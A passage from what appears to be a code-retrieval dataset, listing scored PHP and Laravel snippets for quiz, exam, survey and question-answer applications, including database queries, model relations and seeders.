($question->type_of_question_id == 3)\n {\n $file = 'range';\n }\n else if ($question->type_of_question_id == 1)\n {\n $file = 'radio';\n $view_data['choices'] = json_decode($question->choices);\n }\n else\n {\n $file = 'text';\n }\n\n $question->html = $this->load->view('admin/surveys/fields/' . $file, $view_data, TRUE);\n }\n\n return $results;\n }", "title": "" }, { "docid": "bf67678d879e69b2ee8b2af683193e7d", "score": "0.5305522", "text": "public function answers()\n {\n return $this->hasMany(Answer::class)->orderByDesc('votes_count');\n }", "title": "" }, { "docid": "8e02eef87f341bdb237a47b37c605180", "score": "0.53005713", "text": "public function viewAllQuestions()\n\t{\n $questions = DB::table(\"questions\")\n ->leftJoin(\"display_pictures\", \"questions.username\", \"=\",\"display_pictures.username\")\n ->select(['questions.id','questions.title','display_pictures.image_url','display_pictures.image_name'])\n ->get();\n// dd($questions);\n\t\treturn view('question.all', compact('questions'));\n\t}", "title": "" }, { "docid": "e361f18acca08276403c465d693326f9", "score": "0.52990186", "text": "public function getQuestionsAnsweredByUser($answers)\n {\n $ansQue = array();\n foreach ($answers as $answer) {\n $temp = $this->getQuestion(\"id\", $answer->questionId);\n $ansQue[$temp->id] = $temp;\n };\n $res = $ansQue;\n return $res;\n }", "title": "" }, { "docid": "9caadc196c6bbe1a5dda3e9c2e88accc", "score": "0.52970976", "text": "public function getAnswers();", "title": "" }, { "docid": "d57303d844443ceee8b53999a98c4b6e", "score": "0.5293074", "text": "public function questions()\n {\n return $this->belongsToMany('App\\Question');\n }", "title": "" }, { "docid": "d992eeb366634fed73bea4f17f911f49", "score": "0.52928007", "text": "function display_test($id){\n \n //$questions= Question::select('id','question','level')->where('test_id','=',$request[\"testx\"][$i])->get(); \n //flight = App\\Flight::where('active', 1)->first();\n $stest = Stest::where([['user_id','=',$id],['status','=',1],])->first(); \n //$stest = Stest::select('id','name','score','status')->where('user_id','=',$id)->get(); \n\n $data='<h1>'.$stest->name.' шалгалт</h1>';\n \n // $data.=$stest->squestions;\n $j=1;\n $azRange = range('A', 'Z');\n \n \n foreach ($stest->squestion as $qlist){\n $data.='<b>'.$j.'. '.$qlist->question.'</b><br><br>';\n $d=0;\n foreach ($qlist->sanswer as $alist)\n {\n $data.=$azRange[$d].'. ';\n\n\n $data.=' <input type=\"radio\" name=\"radio_'.$qlist->id.'\" value=\"'.$alist->id.'\" onchange=\"handleChange('.$alist->id.','.$qlist->id.')\"';\n $data.=$alist->selected == 1 ? \"checked\" : \"\";\n $data.='>'.$alist->answer.'<br>'; \n // $data.=' <input type=\"radio\" name=\"'.$qlist->id.'\" value=\"'.$alist->id.'\" onclick=\"show('.$alist->id.')\">'.$alist->answer.'<br>';\n $d++;\n }\n $data.='<br>';\n $j++;\n }\n \n \n \n \n return $data;\n}", "title": "" }, { "docid": "c6e0b7636d61d295d1955635b15245f3", "score": "0.52905303", "text": "function surveyQuestions($id){\n\t\t$leftJoin = \"LEFT JOIN $this->tableSurveys b ON a.survey = b.id\";\n\t\t$where = \"WHERE a.survey = '$id'\";\n\t\t$q = \"SELECT a.title, a.id, a.type, a.sort\n\t\t\tFROM $this->tableQ a \n\t\t\t$leftJoin \n\t\t\t$where \n\t\t\tORDER BY a.id ASC\";\n\t\t$result = $this->db->query($q)->result();\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "8fefdcd344fe3a9ab02f1848312d6d31", "score": "0.5280929", "text": "public function show($id)\n { \n $user_id = Auth::user()->id;\n \n $exam = Exam::find($id);\n $exam_count = ExamQuestions::where('user_id', $user_id)->where('exam_id', $exam->id)->get();\n $exam_counter = ExamQuestions::where('user_id', $user_id)->where('exam_id', $exam->id)->count();\n $exam_questions = ExamQuestions::where('user_id', $user_id)->where('exam_id', $exam->id)->where('is_answered', NULL)->first();\n if (!empty($exam_questions)) {\n \n $next_id = ExamQuestions::where('user_id', $user_id)->where('exam_id', $exam->id)\n ->where('is_answered', NULL)->where('id', '>', $exam_questions->id )->first();\n }\n \n $total_mcq = $exam->mcq_mark * $exam->mcq_count;\n $total_scq = $exam->scq_mark * $exam->scq_count;\n $total_essay = $exam->essay_mark * $exam->essay_count;\n $total = $total_essay + $total_scq + $total_mcq;\n\n if (empty($exam_questions)) {\n \n $mcq_questions = Question::where('exam_id', $exam->id)->where('question_type', '2')->take($exam->mcq_count)->orderByRaw(\"RAND()\")->get();\n $essay_questions =Question::where('exam_id', $exam->id)->where('question_type', '3')->take($exam->essay_count)->orderByRaw(\"RAND()\")->get();\n $scq_questions =Question::where('exam_id', $exam->id)->where('question_type', '1')->take($exam->scq_count)->orderByRaw(\"RAND()\")->get();\n // insert generated \n \n\n foreach ($mcq_questions as $mcq_question) \n { \n\n DB::table('exam_questions')\n ->insert([\n 'user_id' => $user_id,\n 'exam_id' => $exam->id,\n 'question_id' => $mcq_question->id,\n 'question_type' => $mcq_question->question_type,\n 'created_at'=> Carbon::now()]);\n }\n \n\n foreach ($essay_questions as $essay_question) \n { \n DB::table('exam_questions')\n ->insert([\n 'user_id' => $user_id,\n 'exam_id' => $exam->id,\n 'question_id' => $essay_question->id,\n 'created_at'=> Carbon::now(), \n 'question_type' => $essay_question->question_type]);\n }\n \n\n foreach ($scq_questions as $scq_question) \n { \n DB::table('exam_questions')\n ->insert([\n 'user_id' => $user_id,\n 'exam_id' => $exam->id,\n 'question_id' => $scq_question->id,\n 'created_at'=> Carbon::now(), \n 'question_type' => $scq_question->question_type]);\n }\n\n\n return Redirect::refresh();\n $exam_count = ExamQuestions::where('user_id', $user_id)->where('exam_id', $exam->id)->count();\n $ans_count= ExamQuestions::where('user_id', $user_id)->where('exam_id', $exam->id)->where('is_answered', '1')->count();\n\n $exam_questions = ExamQuestions::where('user_id', $user_id)->where('exam_id', $exam->id)->where('is_answered', NULL)\n ->orderBy('id')->first();\n\n $next_id = ExamQuestions::where('user_id', $user_id)->where('exam_id', $exam->id)\n ->where('is_answered', NULL)->where('id', '>', $exam_questions->id )->first();\n\n\n } \n\n\n return view('sections.exam', compact('exam', 'exam_questions', 'total', 'exam_count','ans_count', 'exam_counter', 'next_id'));\n }", "title": "" }, { "docid": "76304b8c032ff941ffa8bf457bebd2ad", "score": "0.52768934", "text": "public function answers() {\n return $this->hasMany('App\\Answer');\n }", "title": "" }, { "docid": "76e3af154d2050324752e9b9d6faffc1", "score": "0.52767444", "text": "public function questionChoices()\n {\n return $this->hasMany('App\\GlobalTestChoices','question_id');\n }", "title": "" }, { "docid": "181dbec3a0f5739496eca2ce0d3f8b3a", "score": "0.52733034", "text": "public function run()\n {\n DB::table('questions')->insert([\n [\n 'topic_id' => '1',\n 'status' => '1',\n 'author_name' => 'author',\n 'text' => 'Какое небесное тело в астрологии «отвечает» за понедельник',\n 'answer' => 'Луна'\n ],\n [\n 'topic_id' => '1',\n 'status' => '1',\n 'author_name' => 'author',\n 'text' => 'Какой знак зодиака приходится на лето',\n 'answer' => 'Рак'\n ],\n [\n 'topic_id' => '1',\n 'status' => '1',\n 'author_name' => 'author',\n 'text' => 'Как называется яркая звезда - альфа Скорпиона',\n 'answer' => 'Антарес'\n ],\n [\n 'topic_id' => '2',\n 'status' => '1',\n 'author_name' => 'author',\n 'text' => 'В каком южноамериканском городе стоит 38-метровая статуя Иисуса Христа',\n 'answer' => 'Рио де жанейро'\n ],\n [\n 'topic_id' => '2',\n 'status' => '1',\n 'author_name' => 'author',\n 'text' => 'В каком городе находилось одно из семи чудес света Сады Семирамиды',\n 'answer' => 'Вавилон'\n ],\n [\n 'topic_id' => '2',\n 'status' => '1',\n 'author_name' => 'author',\n 'text' => 'Какой город являлся целью всех крестовых походов',\n 'answer' => 'Иерусалим'\n ],\n\n [\n 'topic_id' => '3',\n 'status' => '1',\n 'author_name' => 'author',\n 'text' => 'Мехом какого животного отделана шапка Мономаха',\n 'answer' => 'Соболь'\n ],\n\n [\n 'topic_id' => '3',\n 'status' => '1',\n 'author_name' => 'author',\n 'text' => '',\n 'answer' => ''\n ],\n\n [\n 'topic_id' => '3',\n 'status' => '1',\n 'author_name' => 'author',\n 'text' => 'Как называется русская охотничья порода собак',\n 'answer' => 'Борзая'\n ],\n\n [\n 'topic_id' => '3',\n 'status' => '1',\n 'author_name' => 'author',\n 'text' => 'Как звали любимую лошадь Петра I',\n 'answer' => 'Лизетта'\n ],\n\n\n [\n 'topic_id' => '3',\n 'status' => '0',\n 'author_name' => 'author',\n 'text' => 'Кого в русских сказках называют Топтыгин',\n 'answer' => NULL\n ],\n ]);\n }", "title": "" }, { "docid": "b4d888a7ce723af150c282de9a4699d4", "score": "0.5271786", "text": "public function findLatestQuestions() \n {\n $sql = 'select * from tag;';\n $res = $this->db->select(\"*\")\n ->from(\"Question\") \n ->groupBy(\"created\")\n ->orderBy(\"2 asc\")\n ->limit(10)\n ->execute()\n ->fetchAll();\n \n return $res;\n }", "title": "" }, { "docid": "9b6fd80ee5f650cc0e139f8cea85edc9", "score": "0.52666897", "text": "function grupos_pluck (){\n $_grupos = Grupo::with('grado')->get();\n $group = collect();\n foreach ($_grupos as $grupo){\n $group->push([\n 'id' => $grupo->id,\n 'name' => $grupo->name_aula,\n 'grado' => $grupo->grado->numero,\n ]);\n }\n return $group->sortBy('grado')->pluck('name','id');\n}", "title": "" }, { "docid": "8c7da3157ea04f17311176fe33273e3d", "score": "0.526554", "text": "function get_all_discussion_answers()\n {\n $this->db->order_by('answer_id', 'desc');\n return $this->db->get('discussion_answers')->result_array();\n }", "title": "" }, { "docid": "8264b5affbc0e9f1dfe3a9a2c1a1fca8", "score": "0.5262789", "text": "public function result(){\n if(auth()->user()->professor_id){\n\n $marks = DB::table('answers') ->join('eexams', 'eexams.id', '=', 'answers.eexam_id')\n ->where('professor_id','=',auth()->user()->professor_id)\n ->select('eexam_id', 'student_id', 'subject', DB::raw('sum(result) as result'))\n ->groupBy('student_id', 'eexam_id', 'subject')\n ->get();\n\n }else{\n $marks = DB::table('answers') ->join('eexams', 'eexams.id', '=', 'answers.eexam_id')\n \n ->select('eexam_id', 'student_id', 'subject', DB::raw('sum(result) as result'))\n ->groupBy('student_id', 'eexam_id', 'subject')\n ->get();\n }\n \n \n return view('backend.professor.view_result',compact('marks'));\n \n }", "title": "" }, { "docid": "a04ff41a11d41648a57c726e1a6464eb", "score": "0.5258749", "text": "public function answers()\n {\n return $this->hasMany('App\\Answer');\n }", "title": "" }, { "docid": "c1ecce7a578bc8471f81571c9258c528", "score": "0.52579284", "text": "protected static function getListar()\n {\n // ->join('public._bp_personas as per','acopio.solicitud.sol_id_usr', '=', 'per.prs_id')\n // -> select('per.prs_nombres','per.prs_paterno','per.prs_materno','solicitud.sol_id', 'solicitud.sol_id_usr', 'solicitud.sol_detalle', 'solicitud.sol_monto', 'solicitud.sol_fecha_reg', 'solicitud.sol_estado', 'asig.asig_fecha_reg', 'asig.asig_monto' )\n // ->GROUPBY ('per.prs_nombres','per.prs_paterno','per.prs_materno','solicitud.sol_id', 'solicitud.sol_id_usr', 'solicitud.sol_detalle', 'solicitud.sol_monto', 'solicitud.sol_fecha_reg', 'solicitud.sol_estado', 'asig.asig_fecha_reg', 'asig.asig_monto')\n // ->get();\n $solicitud = Solicitud::leftjoin('acopio.asignacion_presupuesto as asig','acopio.solicitud.sol_id', '=', 'asig.asig_id_sol')\n ->join('public._bp_usuarios as us','acopio.solicitud.sol_id_usr', '=', 'us.usr_id')\n // ->join('public._bp_personas as per','public._bp_usuarios.usr_prs_id', '=', 'per.prs_id')\n -> select('us.usr_usuario','solicitud.sol_id', 'solicitud.sol_id_usr', 'solicitud.sol_detalle', 'solicitud.sol_monto', 'solicitud.sol_fecha_reg', 'solicitud.sol_estado', 'asig.asig_fecha_reg', 'asig.asig_monto','asig.asig_estado')\n ->GROUPBY ('us.usr_usuario','solicitud.sol_id', 'solicitud.sol_id_usr', 'solicitud.sol_detalle', 'solicitud.sol_monto', 'solicitud.sol_fecha_reg', 'solicitud.sol_estado', 'asig.asig_fecha_reg', 'asig.asig_monto','asig.asig_estado')\n ->get();\n return $solicitud;\n }", "title": "" }, { "docid": "13d562e984b2120d26dcfeb2d79cc3bd", "score": "0.5256392", "text": "public function run()\n {\n Model::unguard();\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n Question::truncate();\n DB::table(\"questions\")->insert([\n ['title' => 'Question A'],\n ['title' => 'Question B'],\n ['title' => 'Question C'],\n ['title' => 'Question D'],\n ['title' => 'Question E'],\n ['title' => 'Question F'],\n ['title' => 'Question G'],\n ['title' => 'Question H'],\n ]);\n DB::table(\"options\")->insert([\n ['question_id' => 1, 'title' => 'Option A', 'is_correct' => true],\n ['question_id' => 1, 'title' => 'Option B', 'is_correct' => false],\n ['question_id' => 1, 'title' => 'Option C', 'is_correct' => false],\n ['question_id' => 2, 'title' => 'Option A', 'is_correct' => true],\n ['question_id' => 2, 'title' => 'Option B', 'is_correct' => false],\n ['question_id' => 2, 'title' => 'Option C', 'is_correct' => false],\n ['question_id' => 3, 'title' => 'Option A', 'is_correct' => true],\n ['question_id' => 3, 'title' => 'Option B', 'is_correct' => false],\n ['question_id' => 3, 'title' => 'Option C', 'is_correct' => false],\n ['question_id' => 4, 'title' => 'Option A', 'is_correct' => true],\n ['question_id' => 4, 'title' => 'Option B', 'is_correct' => false],\n ['question_id' => 4, 'title' => 'Option C', 'is_correct' => false],\n ['question_id' => 5, 'title' => 'Option A', 'is_correct' => true],\n ['question_id' => 5, 'title' => 'Option B', 'is_correct' => false],\n ['question_id' => 5, 'title' => 'Option C', 'is_correct' => false],\n ['question_id' => 6, 'title' => 'Option A', 'is_correct' => true],\n ['question_id' => 6, 'title' => 'Option B', 'is_correct' => false],\n ['question_id' => 6, 'title' => 'Option C', 'is_correct' => false],\n ['question_id' => 7, 'title' => 'Option A', 'is_correct' => true],\n ['question_id' => 7, 'title' => 'Option B', 'is_correct' => false],\n ['question_id' => 7, 'title' => 'Option C', 'is_correct' => false],\n ['question_id' => 8, 'title' => 'Option A', 'is_correct' => true],\n ['question_id' => 8, 'title' => 'Option B', 'is_correct' => false],\n ['question_id' => 8, 'title' => 'Option C', 'is_correct' => false],\n ]);\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "title": "" }, { "docid": "8b7527098c5d3e7bf7267880e5f85db8", "score": "0.52534044", "text": "public function eQuestions(Request $request)\n {\n // return response()->json(Question::where('id',$request->id)->get(),200); \n $exam= Exam::where('id',$request->id)->first();\n $questions= $exam->questions()->orderBy('id','asc')->get();\n foreach ($questions as $question){ \n $options=Option::where('question_id', $question->id)->orderBy('sequence','asc')->get();\n $question->options=$options;\n }\n return response()->json($questions,200);\n }", "title": "" }, { "docid": "30e7d64a41665c145dd163a746ab9827", "score": "0.5252522", "text": "function postsShow($pdo)\n{\n // $query = \"SELECT posts.*, users.*, FROM posts JOIN users ON posts.user_id=users.id\n // ORDER BY post_id DESC\";\n\n $query2 = \"SELECT posts.*, users.*, (SELECT sum(vote_dir) FROM votes\n WHERE posts.post_id=votes.post_id) AS score FROM posts\n JOIN votes ON posts.post_id=votes.post_id\n JOIN users ON posts.user_id=users.id GROUP BY posts.post_id ORDER BY post_id DESC\";\n\n $statement = $pdo->prepare($query2);\n $statement->execute();\n\n $resultQuery = $statement->fetchAll(PDO::FETCH_ASSOC);\n\n if (!$statement) {\n die(var_dump($pdo->errorInfo()));\n }\n\n return $resultQuery;\n}", "title": "" }, { "docid": "2632675e0536ce38a63e72a7c3cfcf92", "score": "0.524881", "text": "public function getAgenciesByQuestionIds($questionIds)\n {\n return DB::table($this->table . ' as a')\n ->join('service_questions as sq', 'a.service_id', '=', 'sq.service_id')\n ->select('a.id', 'a.name', 'a.address', 'a.contact_info', 'a.website', 'a.htmlcontent', 'a.image_path')\n ->whereIn('sq.question_id', $questionIds)\n ->groupBy('a.service_id')\n ->orderBy('a.service_id')\n ->get()\n ->all();\n }", "title": "" }, { "docid": "c586dc67713e0597de2995d8dbfcc44b", "score": "0.5242524", "text": "function get_all_survey_questions(){\n global $db;\n $stmt = $db->prepare(\"SELECT * FROM survey_questions\");\n $stmt->execute();\n return $stmt->fetchAll();\n }", "title": "" }, { "docid": "ac2e1e5cffa73bbf62d99ebd1b42cf30", "score": "0.5241918", "text": "public function businessCategoryModalData(Request $request){\n $id = $request->id;\n $division = Division::join('section','section.id','=','division.section_id')\n ->select('division.name', 'division.id')\n ->where('section.id',$id)\n ->distinct()\n ->get();\n\n $detaildivision = collect();\n\n foreach ($division as $key => $value) {\n $group = Group::join('division', 'division.id','=','groups.division_id')->select('groups.id','groups.name','groups.description')->where('division.id',$value->id)->get();\n $detaildivision->push(['division'=>$value->name, 'group'=>$group]);\n }\n return view('dashboard.bc-modal-content', compact('detaildivision'));\n }", "title": "" }, { "docid": "fd9c2dfa22d3665ccf0125e860a1872a", "score": "0.5234139", "text": "public function getPatientListForLab($labId, $hospitalId)\n {\n $patients = null;\n\n try\n {\n /*$query = DB::table('patient as p')->join('patient_prescription as pp', 'pp.patient_id', '=', 'p.patient_id');\n $query->join('hospital_pharmacy as hp', 'hp.hospital_id', '=', 'pp.hospital_id');\n $query->where('hp.hospital_id', '=', $hospitalId);\n $query->where('hp.pharmacy_id', '=', $pharmacyId);\n $query->distinct()->select('p.id', 'p.patient_id', 'p.name', 'p.pid', 'p.telephone','p.age', 'p.gender');*/\n\n /*$query = DB::table('patient as p')->join('patient_labtest as pl', 'pl.patient_id', '=', 'p.patient_id');\n $query->join('hospital_lab as hl', 'hl.hospital_id', '=', 'pl.hospital_id');\n $query->where('hl.hospital_id', '=', $hospitalId);\n $query->where('hl.lab_id', '=', $labId);\n\n $query->distinct()->select('p.id', 'p.patient_id', 'p.name', 'p.pid', 'p.telephone','p.age', 'p.gender');*/\n\n $query = DB::table('patient as p')->select('p.id', 'p.patient_id', 'p.pid', 'p.name', 'p.age',\n 'p.gender', 'p.telephone', 'p.married', 'p.email', 'p.address', 'p.careof');\n $query->join('hospital_patient as hp', 'hp.patient_id', '=', 'p.patient_id');\n //$query->join('patient_labtest as pl', 'hp.patient_id', '=', 'p.patient_id');\n /* $query->join('patient_labtest as pl', function($query)\n {\n $query->on('pl.patient_id', '=', 'p.patient_id');\n $query->on('pl.patient_id', '=', 'hp.patient_id');\n $query->on('pl.hospital_id', '=', 'hp.hospital_id');\n });*/\n $query->where('hp.hospital_id', '=', $hospitalId);\n\n //$query->orderBy('hp.created_at', 'DESC');\n //$query->where('p.name', 'LIKE', '%'.$keyword.'%');\n\n //dd($query->toSql());\n $patients = $query->get();\n\n //$patients = $query->get();\n //dd($patients);\n }\n catch(QueryException $queryExc)\n {\n //dd($queryExc);\n throw new LabException(null, ErrorEnum::LAB_PATIENT_LIST_ERROR, $queryExc);\n }\n catch(Exception $exc)\n {\n throw new LabException(null, ErrorEnum::LAB_PATIENT_LIST_ERROR, $exc);\n }\n\n return $patients;\n }", "title": "" }, { "docid": "50cecd91c7094e063ca0dd8e0a464514", "score": "0.52291095", "text": "public function repliedTickets(){\n\t\treturn DB::table('tickets as a')\n\t\t\t->join('tickets as b',function ($join) {\n \t $join->on('a.id', '=', 'b.ticket_id')\n ->where('b.user_id', '=', $this->id)\n ->whereNotNull('b.ticket_id');\n\t })\n\t ->select('a.*')\n\t ->distinct('a.id');\n\t}", "title": "" }, { "docid": "53170c46b6c8327c204f02a3882156b6", "score": "0.5226148", "text": "public function charts3()\n {\n $charts = db::select(\"SELECT count(deals.decided) as count ,users.name FROM `deals` inner join users on deals.worker_id = users.id where deals.decided is true group by users.name;\");\n $charts2 = db::select(\"SELECT count(deals.decided) as count ,users.name FROM `deals` inner join users on deals.worker_id = users.id where deals.decided is false group by users.name;\");\n //dd($charts);\n /* $charts = db::table('users')\n ->select('users.id')\n ->where('role','=','member')\n ->get();\n $nn=array();\n $i=0;\n foreach($charts as $chart)\n {\n $nn[$i] = $chart->id;\n $i++;\n }\n for($t =0;$t<count($nn);$t++) {\n $catpostsnum[$t] = DB::table('deals')\n ->where('deals.decision', '=',0)\n ->where('deals.worker_id', '=', $nn[$t])\n ->groupBy('deals.worker_id')\n ->select(DB::raw('count(1) AS count'))\n ->get();\n }\n for($t =0;$t<count($nn);$t++) {\n $catpostsnum2[$t] = DB::table('deals')\n ->where('deals.decision', '=',1)\n ->where('deals.worker_id', '=', $nn[$t])\n ->groupBy('deals.worker_id')\n ->select(DB::raw('count(1) AS count'))\n ->get();\n }*/\n // dd( $catpostsnum2);\n\n //$charts=db::select('SELECT count(deals.id),users.name FROM `deals` INNER JOIN users ON users.id=deals.worker_id INNER JOIN steps ON steps.deal_id = deals.id where steps.decision is null group by users.id;');\n\n/*$charts = db::table('deals')\n ->join('users','users.id','=','deals.worker_id')\n ->select('users.name')\n ->get();\n$nn=array();\n$i=0;\nforeach($charts as $chart)\n{\n $nn[$i] = $chart->name;\n $i++;\n}\n\n$chart = array();\n$chart2 = array();\nfor($t =0;$t<count($nn);$t++){\n $chart[$t] = db::select('deals')\n ->join('steps','steps.deal_id','=','deals.id')\n ->join('users','users.id','=','deals.worker_id')\n ->where('users.name','=',$nn[$t])\n ->where('steps_decision','=',NULL)\n ->select(DB::raw('count(1) AS count'))\n ->get();\n // dd($chart[$t]);\n\n}\n dd($chart);\n /* for($t =0;$t<$nn.count();$t++){\n $chart2[$t] = db::select('deals')\n ->join('steps','steps.deal_id','=','deals.id')\n ->join('users','users.id','=','deals.worker_id')\n ->where('users.name','=',$nn[$t])\n ->where('steps_decision','!=',NULL)\n ->count();\n }*/\n//$charts = db::select();\n\n/*SELECT deals.id, deals.number,steps.decision,\n users.name\n FROM `users`\n INNER JOIN profiles ON profiles.user_id = users.id\n INNER JOIN deals ON deals.worker_id = users.id\n INNER JOIN steps ON steps.deal_id = deals.id where steps.decision = NULL;*/\n /*$charts1=DB::table('deals')\n ->join('steps', 'steps.deal_id', '=', 'deals.id')\n ->join('users','users.id','=','deals.worker_id')\n ->where('steps.decision','=',NULL)\n ->get();*/\n return view('admin.charts3',[\n /*'catpostsnum'=> $catpostsnum,\n 'catpostsnum2'=> $catpostsnum2,\n 'nn'=>$nn,*/\n 'charts'=>$charts,\n //'charts1'=>$charts1,\n // 'charts1_2'=>$charts1_2,\n 'charts2'=>$charts2\n ]);\n }", "title": "" }, { "docid": "0d8975ab69e1a57723146ec90f48251a", "score": "0.522052", "text": "private function getStatisticsForFixedChoicesQuestion(int $questionnaireId) {\n $query = DB::select(\"\n select qq.id as question_id, question as title, qpa.color, 'fixed_choices' as question_type, qpa.answer as answer_title, count(*) as num_responses from questionnaire_response_answers as qra\n inner join questionnaire_questions as qq on qra.question_id = qq.id\n inner join questionnaire_possible_answers as qpa on answer_id = qpa.id\n where qq.questionnaire_id = ? and qra.deleted_at is null and qq.deleted_at is null and qq.type in ('radiogroup', 'checkbox')\n group by question, qq.id, qpa.answer, qpa.color\n order by qq.id\n ;\", [$questionnaireId]);\n $query = collect($query)->map(function ($x) {\n return (array)$x;\n })->toArray();\n\n // Construct a multidimensional array from $query.\n $constructedQuery = array();\n foreach ($query as $pos => $question) {\n if (array_search($question['question_id'], array_column($constructedQuery, 'question_id')) === false) {\n $constructedQuery[] = [\n 'question_id' => $question['question_id'],\n 'question_title' => $question['title'],\n 'question_type' => $question['question_type'],\n 'statistics' => [[\n 'answer_title' => $question['answer_title'],\n 'num_responses' => $question['num_responses'],\n 'color' => $question['color']\n ]]\n ];\n } else {\n // Get last array key to append to.\n $arrayLastKey = array_key_last($constructedQuery);\n array_push($constructedQuery[$arrayLastKey]['statistics'], array(\n 'answer_title' => $question['answer_title'],\n 'num_responses' => $question['num_responses'],\n 'color' => $question['color']\n ));\n }\n }\n\n return $constructedQuery;\n }", "title": "" }, { "docid": "a8cac05b3cdfe5b68cf15d58552d2b9b", "score": "0.5217522", "text": "function getQuestionsFormate2()//retourne les questions sous format : nom_topic - Titre_Question,je vais l'utiliser en Ajouter_Feature\n{\n $db = (new Database())->getDB();\n try {\n $stmt = $db->query(\"Select ID_QUESTION,Concat(name,' - ',Title) as Nom_Formate from questions q join topics t on q.TOPIC_ID=t.ID_TOPIC WHERE q.ID_QUESTION\");\n return $stmt->fetchAll(PDO::FETCH_ASSOC);\n } catch (PDOException $e){\n return False;\n }\n}", "title": "" }, { "docid": "796599c7d799351dadaa08c35d2ee4de", "score": "0.5214991", "text": "public function questions()\n {\n return $this->belongsToMany('App\\Nrna\\Models\\Question');\n }", "title": "" }, { "docid": "c80970e33bd4e97e57e64fb190ddbe02", "score": "0.5213803", "text": "function get_all_question_answers()\n {\n $this->db->order_by('id', 'desc');\n return $this->db->get('question_answers')->result_array();\n }", "title": "" } ]
972499302c169f21ea61b70e96990c89
Store a newly created resource in storage.
[ { "docid": "7fcb9286bf72c82fea5b03628df71aa6", "score": "0.0", "text": "public function store(Request $request)\n {\n $validator = Validator::make($request->all(), [\n 'clap_count' => ['required', 'integer', 'min:1', 'unique:commissions'],\n 'amount' => ['required', 'integer', 'min:1'],\n 'status' => [\n 'required',\n Rule::in(array_keys(config('params.commission.status')))\n ],\n ]);\n\n if ($validator->fails()) {\n return $this->error($validator->errors(), Response::HTTP_UNPROCESSABLE_ENTITY);\n }\n\n try\n {\n $commission = new Commission();\n $commission->clap_count = $request->clap_count;\n $commission->amount = $request->amount;\n $commission->status = $request->status;\n\n $commission->save();\n }\n catch (Exception $ex) {\n logger($ex);\n return $this->error('', Response::HTTP_INTERNAL_SERVER_ERROR);\n }\n\n $response['data'] = new CommissionResource($commission);\n\n return $this->success($response, 'New commission created', Response::HTTP_CREATED);\n }", "title": "" } ]
[ { "docid": "70f839d67344487e3780c8ca780ec59c", "score": "0.78113544", "text": "public function store(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "df5c676a539300d5a45f989e772221a5", "score": "0.70093644", "text": "public function store()\n {\n return $this->storeResource();\n }", "title": "" }, { "docid": "0a2dcecef8071427bb4f3c22969d6817", "score": "0.6619958", "text": "public function store()\n {\n if (!$this->id) {\n $this->id = $this->insertObject();\n } else {\n $this->updateObject();\n }\n }", "title": "" }, { "docid": "56a1d1d00b789bcc32f6ce99932cc19b", "score": "0.65499157", "text": "public function store(Request $request)\n {\n //Validate request\n $this->validate($request, [\n 'name' => 'required|max:255|unique:resources',\n 'url' => 'required|max:255|unique:resources|active_url',\n 'description' => 'required|max:10000',\n 'tags.*' => 'exists:tags,id'\n ]);\n //Create the resource\n $newResourceData = [\n 'name' => $request->name,\n 'url' => $request->url,\n 'description' => $request->description,\n 'is_published' => Auth::user() && Auth::user()->isAdmin()\n ];\n if (Auth::user()){\n $resource = Auth::user()->resources()->create($newResourceData);\n }\n else{\n $resource = Resource::create($newResourceData);\n }\n //Add the tags for this resource to the pivot table\n $resource->tags()->attach($request->tags);\n $responseText = 'Resource created';\n $responseText .= Auth::user() && Auth::user()->isAdmin() ? ' and published!' : ' and awaiting review.';\n //Take them back to the resource form so they can add more resources\n return redirect('/resources/create')->with('success', $responseText);\n }", "title": "" }, { "docid": "d5deceebf787a137745e10078f88a17c", "score": "0.6420354", "text": "public function store(StorageRequest $request)\n {\n try {\n $this->service->addStorage($request);\n return $this->Created('Successfully added new storage');\n } catch (\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch (Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "title": "" }, { "docid": "148c42c41711b48306faccd1fdedbc39", "score": "0.6416866", "text": "public function store()\n\t{\n\t\t// TODO\n\t}", "title": "" }, { "docid": "7d031b8290ff632bab7fef6a00576916", "score": "0.6391937", "text": "public function store()\n\t\t{\n\t\t\t//\n\t\t}", "title": "" }, { "docid": "55b375ea7c339e8f0e9c38919b53b1db", "score": "0.637569", "text": "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": 